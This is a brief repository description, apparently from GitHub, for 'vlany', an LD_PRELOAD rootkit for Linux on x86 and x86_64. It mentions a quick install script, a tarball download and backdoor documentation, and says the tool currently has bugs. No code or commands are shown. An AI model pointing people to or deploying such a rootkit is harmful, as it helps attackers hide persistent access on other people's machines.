https://github.com/mempodippy/vlany

C
Linux LD_PRELOAD rootkit (x86 and x86_64 architectures)

vlany, Linux (LD_PRELOAD) rootkit

Original README
The original README is much more full of information, diary entries, explanation of how elements of the rootkit works, backdoor information, hooked backdoor symbols, and much more.
vlany quick_install.sh script
Direct link to vlany.tar.gz
For those of you too lazy to read the original README, there are bugs in vlany as of currently. I am working on fixing these. A list of current bugs can be found in the original README @ 0x00000005.